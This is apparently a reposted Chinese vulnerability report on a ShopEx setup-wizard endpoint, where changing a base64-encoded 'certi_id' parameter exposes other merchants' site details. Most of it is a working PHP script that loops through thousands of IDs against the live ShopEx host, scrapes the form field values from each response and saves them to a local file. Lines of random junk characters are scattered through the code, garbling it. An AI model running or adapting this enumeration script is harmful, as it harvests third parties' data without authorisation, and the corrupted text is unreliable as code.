ShopEx某接口缺陷可遍历所有用户网站

admin

简要描述：
ShopEx某接口缺陷,可遍历所有网站
详细说明：
问题出现在shopex 网店使用向导页面
! n& p1 N4 n& p1 R- g% G! _/ g
: [9 X  Y7 I* O; A5 F

http://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=
7 {, B' b: |9 e5 i& k: D: R
; L- e" t2 r5 c! m7 J
% Y9 g' ^0 _( N# T4 p+ k( w# M0 A
refer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}



我们修改certi_id 即可遍历所有使用了ShopEx程序的网站


( V. l. N; @/ E! y4 z* j5 O" Q
<?php

                for ($i=1; $i < 10000; $i++) { //遍历
5 `1 H- y% D$ Q
                        ShowshopExD($i);
3 ]" y8 j! Y: G8 ^* K: d
                }
% W/ ^7 ~8 P; s' p* V4 r7 C3 w0 O
                function ShowshopExD($cid) {
0 Y3 L* D+ e! G4 }! ]- `% z
                $url='http://guide.ecos.shopex.cn/step2.php';
/ S& q  ]. Z6 y
: S( r6 x! s. [6 t  q                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');
2 u' e7 E! S) q' N
        $url = $url.'?refer='.$refer;

        $ch = curl_init($url);

: O8 W/ y5 J# b* C; g" _/ U        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;

        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;

4 Z. C) T7 v1 N) n        $result = curl_exec($ch);
( d4 \3 ]. N) W$ T% u1 q
        $result = mb_convert_encoding($result, "gb2312", "UTF-8");
: T2 l7 r  M! z: _5 S$ @$ U
        if(strpos($result,$refer))
) v0 J) E# x* U: H
        {
& ?& O: f3 ]6 G- C" ~
                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件

, J; _" m% l5 e/ h0 H                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);
$ K: Z+ z- s5 W5 u/ h
$ v6 k  O' M) h' X$ j8 ]7 I- t                foreach ($value[1] as $key) {

% c  U. I  m* G/ r8 C; x9 y- g                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);
/ K& L5 v- e" R% @
                        echo $res[1][0].':'.$res[3][0]."\r\n";
5 Q/ M- h9 G3 d' W5 W/ @) D% |" d
1 N/ f/ e$ k( z4 {2 Q& o, Y+ I                        $col =$res[1][0].':'.$res[3][0]."\r\n";

                        fwrite($fp, $col, strlen($col));
! ^5 N9 p& E, f5 ~6 ?
, q' v( N6 r* ?+ z                }
0 I5 u- v# f2 H: S: U2 X9 S' m
* H/ P, K+ H: f; w, l; t( G1 M                echo '--------------------------------'."\r\n";

$ k7 p+ c$ P! C+ }3 m% l" q                fclose($fp);

, l. f/ y: [( r% G        }
) F' Z% W' t/ F- w1 A) i0 `( T
5 M3 q4 v- p' I        flush();

        curl_close($ch);
$ z% T6 z( f8 I" a% ]( t' \
                }

% R+ j% p7 P, K% F: \. X?>
漏洞证明：
* e6 k0 ^0 }' N+ j4 jhttp://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
6 ]% h( ~! h& a, hrefer换成其他加密方式
; ^/ J* t. i$ A* B# F: [